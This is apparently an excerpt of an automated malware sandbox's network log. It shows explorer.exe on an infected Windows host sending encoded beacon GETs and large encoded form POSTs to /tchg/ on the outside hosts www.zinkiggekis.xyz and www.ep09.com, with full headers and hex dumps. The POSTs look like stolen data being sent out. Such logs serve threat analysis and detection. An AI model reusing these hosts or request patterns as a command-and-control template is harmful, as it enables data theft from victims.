May 30, 2023 11:10:55.781784058 CEST	1096	OUT	Data Raw: 34 5a 6a 77 74 6f 58 76 52 52 79 76 44 6f 39 2d 75 46 63 4e 4d 59 69 35 6c 37 42 44 57 77 7a 72 53 7a 36 43 6b 53 6c 71 4b 4a 6e 47 45 59 65 4c 5a 69 45 4a 6e 6b 32 59 39 4d 44 65 45 74 34 35 4c 78 79 66 64 74 67 66 70 54 61 37 39 37 46 52 39 4c Data Ascii: 4ZjwtoXvRRyvDo9-uFcNMYi5l7BDWwzrSz6CkSlqKJnGEYeLZiEJnk2Y9MDeEt45LxyfdtgfpTa797FR9L9In_Y8Kg9MiMULEZtWBnutYGF1uKb2LcNhaSmciFui6SBweCtxNWNtd1qDeGHE3DTgn6dy5_5nL61uYurzm4dOTKxB98bva9MjEz0mPaCQWw0HIW~JJ_ZFdTZ_~4MF0jaVKkY39pvgDh(Gbkas1XBR3uZ3IojfEEQ
May 30, 2023 11:10:56.027920008 CEST	1105	OUT	Data Raw: 43 52 6c 63 53 72 58 72 39 44 63 67 53 58 46 61 4b 4e 4b 4d 47 47 4f 4a 66 4d 67 66 70 6e 63 6d 46 43 67 64 35 61 31 36 44 62 4b 4e 47 6c 52 4d 6d 52 44 79 43 52 45 48 46 4a 62 6f 77 51 57 64 4f 77 66 6a 6d 4b 4c 6b 37 59 6d 6b 59 33 67 42 76 77 Data Ascii: CRlcSrXr9DcgSXFaKNKMGGOJfMgfpncmFCgd5a16DbKNGlRMmRDyCREHFJbowQWdOwfjmKLk7YmkY3gBvwn3tTAxAbsmdU~MPtLNujgiC2L6fuPgSOiHNwaDWIjDKXW2ceFOsVuu2RaAq06QjUZ0sOqHzD8W44W2VkbZPyjt2pZjgEVfwLYGsj7NzKoWmRjFDeaDh7V25NHT1hR_0liUf_tUHefQSEx6o1uemgb8r4MsMXkRwcu
May 30, 2023 11:10:56.028039932 CEST	1109	OUT	Data Raw: 56 4d 37 49 4c 66 73 36 34 64 6e 52 57 4e 59 54 53 34 66 41 41 41 6c 39 4e 64 6d 67 30 45 41 63 79 6a 49 38 51 33 30 61 47 6b 72 63 6f 6a 56 74 30 6e 6b 75 65 54 4d 48 6e 67 57 39 7e 58 4c 53 4e 52 34 6a 51 57 79 69 4b 4a 78 54 65 51 30 6a 4f 42 Data Ascii: VM7ILfs64dnRWNYTS4fAAAl9Ndmg0EAcyjI8Q30aGkrcojVt0nkueTMHngW9~XLSNR4jQWyiKJxTeQ0jOBPOxIDM6pvVpRIXhRapBEu3gDFzkRMxRweqxbNKF3i-qwaTxNrm0SWt57RIHbvuWSLkD4gbO3XSr-i58Gn3SxsChl6kgW87H8slQf~EH-mzNL1UJP0m8wGN(K~nJnDYWxXiu6tw7Qftngv2w8(wQt0dJPvEG0QT7FT
May 30, 2023 11:10:56.353753090 CEST	1110	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 30 May 2023 09:10:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.11.20	49813	154.84.88.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:58.323972940 CEST	1110	OUT	GET /tchg/?O0qEM=U7ETdamdP1ZCKOUjEiyRlibAgxYlwKZeBR7oaxwm2PdxgC4EyvOHYU8IW8pd/NQOhWFEBZrGHEgN3MxkyARqzohq8TIPp6MjlQ==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.ep09.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:10:58.579340935 CEST	1111	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 May 2023 09:10:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.11.20	49814	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:03.683324099 CEST	1112	OUT	POST /tchg/ HTTP/1.1 Host: www.zinkiggekis.xyz Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.zinkiggekis.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.zinkiggekis.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 72 42 73 39 72 38 72 36 4f 39 48 30 67 4c 35 76 6d 74 49 70 62 37 79 51 69 72 61 49 65 34 41 2d 35 4e 75 49 66 6c 77 37 4a 41 32 75 52 57 4d 42 37 55 34 70 41 49 43 5a 4b 46 72 5a 41 49 70 37 46 65 54 75 48 32 4b 63 69 39 4c 63 32 33 4f 4c 35 43 65 68 62 4f 77 5a 75 68 58 42 41 57 69 30 55 77 57 2d 38 67 37 46 58 57 7e 51 6d 5f 52 4c 31 52 71 52 7a 41 30 66 45 66 42 32 6e 56 77 33 58 61 31 58 6f 53 70 47 43 71 4a 77 63 66 38 52 35 5f 6d 4c 57 64 44 59 65 2d 45 64 66 6a 4d 2d 37 48 7e 2d 45 79 30 46 78 77 6f 65 6c 52 6c 37 78 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=rBs9r8r6O9H0gL5vmtIpb7yQiraIe4A-5NuIflw7JA2uRWMB7U4pAICZKFrZAIp7FeTuH2Kci9Lc23OL5CehbOwZuhXBAWi0UwW-8g7FXW~Qm_RL1RqRzA0fEfB2nVw3Xa1XoSpGCqJwcf8R5_mLWdDYe-EdfjM-7H~-Ey0FxwoelRl7xQ).
May 30, 2023 11:11:03.765714884 CEST	1112	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:11:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.11.20	49815	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:06.295417070 CEST	1114	OUT	POST /tchg/ HTTP/1.1 Host: www.zinkiggekis.xyz Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.zinkiggekis.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.zinkiggekis.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 72 42 73 39 72 38 72 36 4f 39 48 30 68 72 4a 76 6b 4b 30 70 4b 4c 79 50 6f 4c 61 49 51 59 41 45 35 4b 6d 49 66 68 49 53 4b 7a 65 75 52 33 38 42 70 42 55 70 48 49 43 5a 42 6c 72 63 4f 6f 70 73 46 65 58 6d 48 7a 69 63 69 35 62 63 32 43 61 4c 77 53 65 6d 54 75 77 61 6d 42 58 63 54 47 6a 35 55 77 4b 45 38 6b 6e 46 55 6d 53 51 6c 35 39 4c 6b 30 66 48 33 67 30 5a 47 66 42 31 74 31 77 70 58 61 35 75 6f 53 67 78 42 5a 56 77 64 5f 63 52 34 5f 6d 4b 65 74 43 78 52 65 46 54 5a 54 39 42 30 31 32 75 46 42 74 31 77 45 63 41 74 67 38 45 73 5a 53 4f 4e 72 37 50 4c 79 5a 56 31 43 75 74 30 63 57 47 4c 59 56 39 31 41 6c 46 4b 32 55 56 39 76 6f 71 76 67 32 4a 4e 75 52 64 45 41 42 73 28 51 38 76 75 4a 71 4f 4f 56 68 5a 32 62 6a 5f 34 39 62 5f 79 35 32 49 52 6b 6a 38 73 42 6d 56 33 35 57 4f 63 68 53 74 61 37 50 64 43 73 41 6e 37 31 39 4e 59 4b 36 31 54 53 28 59 46 70 58 65 32 6b 6a 6e 79 34 62 2d 72 2d 79 72 37 4a 41 35 65 6c 54 34 72 50 35 66 37 6e 37 4b 51 50 7a 54 64 41 41 7a 44 5f 5a 5a 44 58 68 41 7e 32 53 55 72 46 38 51 46 5f 52 7a 65 53 48 41 77 37 56 79 52 33 6b 72 36 31 53 75 47 64 71 30 62 4a 33 37 75 72 6d 4c 35 50 34 52 46 33 6b 34 54 31 31 58 4f 75 37 73 54 62 56 33 62 55 34 4b 62 77 4d 58 34 46 31 46 75 44 32 4c 7a 35 76 30 42 6b 67 63 38 42 41 68 7e 42 63 53 42 61 7e 36 46 71 45 43 58 49 6c 51 73 41 70 4a 59 37 28 4b 59 77 68 42 54 62 6f 6a 39 77 62 58 33 41 4e 49 61 5f 73 67 70 31 52 4f 31 31 52 6e 67 62 5a 57 37 42 45 6b 38 66 68 4c 47 52 28 78 5a 69 48 4a 6e 4f 37 52 42 57 46 76 4c 50 68 64 4d 54 44 34 4f 56 48 42 30 52 61 4d 6c 6f 51 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=rBs9r8r6O9H0hrJvkK0pKLyPoLaIQYAE5KmIfhISKzeuR38BpBUpHICZBlrcOopsFeXmHzici5bc2CaLwSemTuwamBXcTGj5UwKE8knFUmSQl59Lk0fH3g0ZGfB1t1wpXa5uoSgxBZVwd_cR4_mKetCxReFTZT9B012uFBt1wEcAtg8EsZSONr7PLyZV1Cut0cWGLYV91AlFK2UV9voqvg2JNuRdEABs(Q8vuJqOOVhZ2bj_49b_y52IRkj8sBmV35WOchSta7PdCsAn719NYK61TS(YFpXe2kjny4b-r-yr7JA5elT4rP5f7n7KQPzTdAAzD_ZZDXhA~2SUrF8QF_RzeSHAw7VyR3kr61SuGdq0bJ37urmL5P4RF3k4T11XOu7sTbV3bU4KbwMX4F1FuD2Lz5v0Bkgc8BAh~BcSBa~6FqECXIlQsApJY7(KYwhBTboj9wbX3ANIa_sgp1RO11RngbZW7BEk8fhLGR(xZiHJnO7RBWFvLPhdMTD4OVHB0RaMloQ.
May 30, 2023 11:11:06.376081944 CEST	1114	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:11:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.11.20	49816	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:08.902991056 CEST	1127	OUT	POST /tchg/ HTTP/1.1 Host: www.zinkiggekis.xyz Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.zinkiggekis.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.zinkiggekis.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 72 42 73 39 72 38 72 36 4f 39 48 30 68 72 4a 76 6b 4b 30 70 4b 4c 79 50 6f 4c 61 49 51 59 41 45 35 4b 6d 49 66 68 49 53 4b 31 47 75 57 46 30 42 37 32 67 70 47 49 43 5a 4d 46 72 64 4f 6f 70 78 46 61 7a 69 48 7a 75 6d 69 37 54 63 32 54 4b 4c 77 67 32 6d 55 75 77 68 6c 42 58 43 41 57 6a 74 55 77 57 59 38 6c 57 6e 58 57 57 51 6d 2d 42 4c 31 7a 43 52 71 41 30 66 47 66 42 70 70 31 77 62 58 61 4e 2d 6f 54 63 78 42 62 68 77 64 4e 6b 52 30 4d 65 4b 54 64 44 44 59 2d 46 49 51 7a 38 37 30 78 65 41 46 42 73 41 77 41 45 41 74 67 63 45 74 59 53 4a 4e 4c 37 50 56 69 5a 57 6d 53 69 78 30 63 69 65 4c 5a 68 39 31 44 6c 46 4c 57 55 56 34 4c 30 6c 70 41 33 4d 62 65 51 46 41 41 4e 6b 28 55 55 52 75 49 7e 4f 4f 6d 64 5a 6e 35 4c 5f 36 66 7a 5f 74 70 32 4f 56 6b 6a 76 6d 68 6d 7a 33 35 47 30 63 67 79 39 61 38 58 64 43 4e 67 6e 74 41 4a 4f 4b 71 36 7a 63 79 28 42 4f 4a 72 43 32 6b 53 6d 79 34 62 55 72 39 7e 72 37 59 51 35 66 6b 54 37 7e 66 35 63 75 33 37 62 5a 76 28 5a 64 41 63 72 44 5f 42 4a 44 55 4e 41 6b 57 53 55 75 6d 6b 50 4e 50 51 35 43 69 48 53 30 37 56 62 52 33 6f 5a 36 33 7e 68 48 73 32 30 64 35 6e 37 28 4c 6d 45 70 66 34 64 57 58 6b 45 58 31 31 58 4f 75 28 53 54 62 52 33 62 6d 6f 4b 61 43 55 58 6f 43 5a 46 39 54 32 33 7a 35 76 66 42 6b 73 52 38 43 67 44 7e 41 73 34 42 59 79 36 41 71 34 43 55 4e 4a 58 6f 77 6f 69 63 37 28 64 56 51 74 57 54 62 30 37 39 30 28 70 30 33 56 49 41 5f 63 67 6a 56 52 4e 78 56 52 6b 6e 62 5a 41 28 42 34 6f 38 62 49 77 47 53 69 32 5a 67 58 4a 30 76 57 62 58 57 45 32 49 4a 6c 4b 4e 6d 76 4f 4d 30 61 4c 73 42 69 7a 30 65 64 6d 74 48 37 30 47 49 57 79 49 69 52 31 46 4a 28 79 6b 4c 63 46 4d 42 49 46 68 33 6b 59 45 31 4b 6b 65 56 33 72 38 35 55 53 4b 65 42 56 78 4e 44 5f 79 67 64 51 38 46 6d 59 67 72 37 58 66 2d 56 65 28 34 46 48 65 4c 50 6b 6f 6e 73 4f 44 52 46 34 53 66 52 4c 52 6c 51 4a 64 79 62 33 68 74 5a 49 46 56 38 55 36 75 7a 66 62 64 36 71 39 38 4e 79 77 56 68 76 6a 51 38 4e 32 36 67 35 46 79 41 37 38 41 32 4c 62 47 48 4b 52 6e 58 59 38 5a 56 70 71 68 32 37 30 5f 43 38 41 4e 66 50 57 45 43 79 47 61 74 36 71 75 76 31 6d 67 35 6c 63 76 4a 30 52 68 6d 31 57 49 4f 73 70 66 61 64 77 65 47 37 47 45 64 57 75 76 77 67 6d 47 4a 76 76 35 42 72 72 5f 7a 56 4a 4a 56 61 6c 70 4b 59 6a 31 75 56 4b 36 62 75 55 74 78 46 31 63 37 45 4a 4f 41 77 63 34 5a 6e 6c 50 46 43 61 51 67 31 50 4d 67 67 45 35 4b 50 49 2d 78 44 52 42 4f 6b 57 49 52 70 43 34 46 36 34 47 62 75 4a 79 69 63 61 63 49 71 46 45 32 5f 65 6b 4e 66 71 30 30 61 58 34 6c 4f 39 4e 76 52 55 67 61 75 78 49 6b 6b 4d 69 42 55 6d 43 62 31 35 4b 6e 52 31 52 7a 35 44 4b 6d 76 75 77 31 34 4f 57 70 59 74 53 55 74 5a 78 63 7a 76 5a 77 57 5a 4c 75 53 68 6f 42 66 4a 6e 68 75 51 61 56 43 66 58 4e 47 4b 30 43 61 4a 2d 6b 63 33 37 41 52 54 52 28 49 70 76 77 6e 56 5a 31 52 65 6c 79 62 4b 62 73 77 50 4c 62 46 66 63 6d 30 47 37 47 4f 57 71 78 51 62 4b 51 77 4e 64 52 46 4f 4a 66 54 63 32 32 68 4b 63 74 44 6c 6b 50 6b 46 42 34 44 39 43 54 47 55 32 4e 6e 32 7a 52 59 68 52 50 47 56 38 67 30 5a 5a 6e 6d 33 76 52 5f 34 37 31 33 74 47 6c 36 35 4c 70 6d 30 74 32 37 4d 6c 43 39 68 70 28 52 7e 6a 56 71 28 77 53 72 32 45 34 6a 32 49 66 37 6a 45 6a 4e 49 53 53 56 4b 34 54 61 37 69 78 44 62 6d 54 6e 62 69 49 49 36 6f 4f 62 37 7a 30 38 59 64 37 71 36 61 46 4e 6a 57 79 6d 6e 75 33 45 79 77 73 35 6a 54 75 7a 67 47 4d 6d 57 5f 31 62 41 4a 36 62 6a 73 62 31 28 31 41 33 6a 53 47 56 28 63 57 64 59 6c 45 6f 52 49 44 71 73 71 58 54 71 68 36 58 32 6c 42 45 7e 69 41 64 76 58 34 4a 6f 43 7a 36 67 4c 46 68 45 4e 37 46 6c 59 6e 63 43 50 6d 67 37 49 6f 6f 57 58 4e 5f 56 4a 59 6b 75 66 4b 34 50 66 4d 54 6f 6e 28 32 58 4c 4c 57 4d 67 6a 41 55 58 44 2d 6f 6e 55 70 65 68 4a 46 69 32 39 6c 36 44 62 6b 59 72 75 61 72 36 62 31 44 35 65 62 43 46 51 72 78 34 5a 53 71 4f 49 42 53 4c 4d 41 76 64 78 61 63 44 6a 73 6b 4d 42 6a 59 67 28 37 51 72 43 32 38 6a 45 53 52 31 4a 62 43 78 6e 4f 4b 45 74 5f 56 65 59 67 69 62 34 79 44 51 7a 65 74 4d 78 52 78 31 76 76 73 55 4a 38 69 44 64 61 42 76 45 62 38 79 55 4f 65 4d 4c 70 38 65 61 54 45 71 39 39 6f 6d 77 41 77 50 51 44 37 54 65 55 70 53 6c 43 55 6e 63 4e 37 Data Ascii: O0qEM=rBs9r8r6O9H0hrJvkK0pKLyPoLaIQYAE5KmIfhISK1GuWF0B72gpGICZMFrdOopxFaziHzumi7Tc2TKLwg2mUuwhlBXCAWjtUwWY8lWnXWWQm-BL1zCRqA0fGfBpp1wbXaN-oTcxBbhwdNkR0MeKTdDDY-FIQz870xeAFBsAwAEAtgcEtYSJNL7PViZWmSix0cieLZh91DlFLWUV4L0lpA3MbeQFAANk(UURuI~OOmdZn5L_6fz_tp2OVkjvmhmz35G0cgy9a8XdCNgntAJOKq6zcy(BOJrC2kSmy4bUr9~r7YQ5fkT7~f5cu37bZv(ZdAcrD_BJDUNAkWSUumkPNPQ5CiHS07VbR3oZ63~hHs20d5n7(LmEpf4dWXkEX11XOu(STbR3bmoKaCUXoCZF9T23z5vfBksR8CgD~As4BYy6Aq4CUNJXowoic7(dVQtWTb0790(p03VIA_cgjVRNxVRknbZA(B4o8bIwGSi2ZgXJ0vWbXWE2IJlKNmvOM0aLsBiz0edmtH70GIWyIiR1FJ(ykLcFMBIFh3kYE1KkeV3r85USKeBVxND_ygdQ8FmYgr7Xf-Ve(4FHeLPkonsODRF4SfRLRlQJdyb3htZIFV8U6uzfbd6q98NywVhvjQ8N26g5FyA78A2LbGHKRnXY8ZVpqh270_C8ANfPWECyGat6quv1mg5lcvJ0Rhm1WIOspfadweG7GEdWuvwgmGJvv5Brr_zVJJValpKYj1uVK6buUtxF1c7EJOAwc4ZnlPFCaQg1PMggE5KPI-xDRBOkWIRpC4F64GbuJyicacIqFE2_ekNfq00aX4lO9NvRUgauxIkkMiBUmCb15KnR1Rz5DKmvuw14OWpYtSUtZxczvZwWZLuShoBfJnhuQaVCfXNGK0CaJ-kc37ARTR(IpvwnVZ1RelybKbswPLbFfcm0G7GOWqxQbKQwNdRFOJfTc22hKctDlkPkFB4D9CTGU2Nn2zRYhRPGV8g0ZZnm3vR_4713tGl65Lpm0t27MlC9hp(R~jVq(wSr2E4j2If7jEjNISSVK4Ta7ixDbmTnbiII6oOb7z08Yd7q6aFNjWymnu3Eyws5jTuzgGMmW_1bAJ6bjsb1(1A3jSGV(cWdYlEoRIDqsqXTqh6X2lBE~iAdvX4JoCz6gLFhEN7FlYncCPmg7IooWXN_VJYkufK4PfMTon(2XLLWMgjAUXD-onUpehJFi29l6DbkYruar6b1D5ebCFQrx4ZSqOIBSLMAvdxacDjskMBjYg(7QrC28jESR1JbCxnOKEt_VeYgib4yDQzetMxRx1vvsUJ8iDdaBvEb8yUOeMLp8eaTEq99omwAwPQD7TeUpSlCUncN7ytVGEcMkKi4QiEH4JPPL01pxP7O3GzOLOTJT7xxAHss2DA6aFwQyxBblPq77X54BwGpDJmk7RwSFh8WTXJ0b8(61rG_WenFUR0-5t(rvAQNB5eJIasjMGQuoD8mzASHSni-JTIFdlqBxY1FvUkOgfBwwgoSvhQvS-yEwHTqbqMeNjQjCaycGlNQp9C-shK1iLkB~3IRmKuyEHVAhQUGwpqBr7jwJAUyBWurqahTZeFgPugk4YyI9u(bR6jMw3Ejr3V5URSrQBkoH96LfzzhiPEbjYnNhSG5kgmCTk7fSgfcjeX_K4lD4Lr3(BY7cXEcQbggll24K-TiR-AbOBFYlPPjOV9XzipEQ58UxMKnBF2Nkqepi1(hUxoOpr~NgWaDAsIQAWR_lbv87BOB10WqcHe1HEvV5J9CLDvQ6bf7hnzIFqbNfROuc2GpeAKgn2NsTGM-hn5x~Wmz4VKPaPZ4Ipfj8dI1CZI8ECQ_AOj2DGKJGueiO5ASTr(IcOy6rRzw1vS2iIpZcTppsRy6u2FRemW8dFxD9lMrAuloBgjB5OVvRYRJE5DwgH3uXe4AjpB-bsgI6WCNfiCv30Ok46IspDjzw_VczYWX(jRH1zVltV50SWif5AZi2W1SRdGzeaDGY59v634XLSQAN21K7ktPsE7h2Sr38Z1LyL~XU0za0j7vcZPF1MKln0YNY8XzXyHgIankZV9Rw4tAbyST9c6Axk2Q(HJ3SWh4n6hNYiY9fZDahDewFWc8Vx5Cd02O0AkzYHpX5rnciL5LO3XgF13iBLiMpAKVFvBNoUVXG3i77SmFAGPp9XWd6glm~eK89oZOeShwXNjJqGUYV6TdAEIk8NZtCPnjxJPVUntF4cu_rvBMFtrFk8LFbgKO6G00SYZxUj~-m_5Pe_wacO5tHatcR1vSmbWpxbznElqEhWt6gVMfMtpb9tqvCeZSMtkt8_BdGXYf8ssvd0T_jPEVFLKc9VIOSPGxaE(kzZcpF84YTYplq3Tsef2qRHwOurUUGx9tnCIGPChwJks7i0SfTZNb05CXhLOYHLwbc9cqOwpu5hnDl09ACY2pyREr4lx9AgLJIWeLcAA_bUnApLLCzdVEZqLJjqGs0bo-z48UOrJaPRKcJa6iG5Elf5jYRVnRyyN5foTDfjkycsHUgV1putYNPqzSxaWynuqHx6vjP5By8sSHiA2FKAKDFAZW3VreHfzM19ExGyhIchR-Paho2JbsFXhrknGFHKTYO2SxTOToMOnM8NQprabsyWWRk0qJ6hG8I7eSWMEj~jEiWqd5~oCQkY3kGoliq2G6bKLGBaXeNMpvs42CjwjrUsV5gE6onVl5eaV-HwMJRLwvmPd_yh31y7pFQ-c7oFdeouP9NrEeIHP_cSpZJZY8(apQFLNT9MlSQPacyX731squFy3Xal8MaUX_2oXGK3PKR9Zh6baxJ5bKQkYyy_gDksRw49IsEkpO4RFWDYBHq2iGrqg5DSrrlx6BIDgLdOyzHiEtFGDBQngZVWEUIRuU~t4k4pWc9YJXfD4plAUN9Avn8MeMzh6BaKGgYmTYcvEtEW8991lTgt4dUa3d5f9YjHwH9sXDxQe7zWZZWAOVUrvPV3ntZ_214IMubLtWulLzkUxG47tnOoIniq2NIgpoBUYhBHCSuh49mbgntdKWdNndBJeaodbDtpyxlx7cKB2oDgQSqWmUgwtzedO31J7oWMr_LVIPorhFec(WvjwCLckI(uLQwHZC8C2wzPZhsqWLfTlQG5RceaTc8JH8xIWQ(QTVAqD0NerxooUaVh3Tpe03081BusYaUJOqf4T3SYqibDuZ6jYstYTNgV3cBSmocLN5y64xHYbwm6qklWfCuNVKsOMTk3j3XRRHS0LLGGqc~YawN-vSFis6wjHVZdpuY_C6nvNSeslxedPXLrIEXu6bJOwNO5K3aNeEblCqlwFhrQlR6szPJqMVCp6sA7k5tCaBpICecLMEn6h2TLxrD5fE(5TZfYbh6Viu75TEiXkBxDR1w66dCjZH~G2INRe74U7P5eTIQwPUTER3PNDYiGOFLDIf8kxUGZSXcDmQCxySXGubNQw2Dv7INyoOZRcvysnv2dfJyRl_3Qqzn0VufrR_VHedEzFXygJg~qCoB0ZnCfFvclzko1~mUjpBERp5zbLWiffcPNj_9BF6x4wrxvsss4DYRMcbbhyYc6g6iROt2zWhO74dOP2eTUsWxm5d8YyjKQPPI43bE_lR1JiI89zZqjSKc-DBI8Quzol1I3YBIqpK2mP1h5OTWO(CXWY2vw4YEUS_u8g8IMq2F0zPPFpAQWjDZu3akQgknDJ7eOWnyioY0HuSVCIDb3uKyX~YwjQC6ZiyhTPCJkCyDU10DKu1zWk2M7MOSFHJYnuoSEkvUmsDhzKfDSM5RPl1t61usHCZ3HJ37VPYNj2A4wA3NeA6TM13paSZCQ7kwVPxLRJgdJujijw1sQuYcpJvGFULTojeXPnUkRfXd-1oRz8iKvoJTWxnJvSyDBzHONpfw07A6Aiz5vZWlaAGm-drOX1Mtc5R2fH6ktSMcHvEML9afbXfxT4S4rWXZn4849vc7K6RAzvcFuPe6E5l(PODO7AYRVeeymEgXx3Sjz0gjY49wC5OY62khvDJG3x7Yx9rs3(rn9c1e9JvNZpciWhlZVgvAkFkqFn8GsGKOwUZOikr8eDcELdDzC2tMvJhLMjO~EV8ouUQ
May 30, 2023 11:11:08.985214949 CEST	1127	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:11:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
May 30, 2023 11:11:08.985399008 CEST	1130	OUT	Data Raw: 71 73 61 55 39 74 31 71 32 6f 48 30 62 58 67 6b 43 66 62 47 77 70 54 50 31 6c 61 7e 55 71 72 30 34 70 77 68 37 50 7a 4c 47 53 36 54 43 68 74 46 35 78 37 67 73 7e 48 35 76 31 47 43 6d 31 6b 4d 44 78 69 68 38 63 38 35 58 6b 33 5a 61 33 58 57 30 7e Data Ascii: qsaU9t1q2oH0bXgkCfbGwpTP1la~Uqr04pwh7PzLGS6TChtF5x7gs~H5v1GCm1kMDxih8c85Xk3Za3XW0~_WhPhM-mHTPnWX7zQzyHT8hVl(W6fHxnj8P8sFlyuNzRSRrxOQ5BiMsV_8LlV4PQYLv8w1gRyJ71g7yaG3g7WLBMVysaZz1i_YtEBmRoZVthcX4r_msoh7rxwZkLjtqvNVVxXDbplYB(FjQ7q2WE-dJJYbJmvJzTv
May 30, 2023 11:11:08.985579967 CEST	1135	OUT	Data Raw: 53 5a 43 73 31 45 54 4d 30 39 53 4a 7a 69 62 78 58 4e 44 69 75 6e 34 30 38 78 53 43 4c 5a 72 6e 4b 45 6a 70 37 41 2d 6a 75 51 30 28 57 50 49 79 38 34 35 54 56 78 2d 43 55 73 65 61 56 62 2d 33 7a 6d 32 6b 43 62 6b 76 69 56 4a 46 43 67 78 57 7a 7e Data Ascii: SZCs1ETM09SJzibxXNDiun408xSCLZrnKEjp7A-juQ0(WPIy845TVx-CUseaVb-3zm2kCbkviVJFCgxWz~u7ptFXlNeTTCiNM0pSI82O30YfjS79PKqUSJGCzQOWXalUrc8Z-QNPep8aLvGOW3wkzYDy-UdXJI82clJhzxvZYQ1Ry3V0AtnjsmRurAUiO1_AXfezEAPSAZnPToFmlwnW6x_tk6WTqs94ahy4XkvsuEbwCzzZ_0s
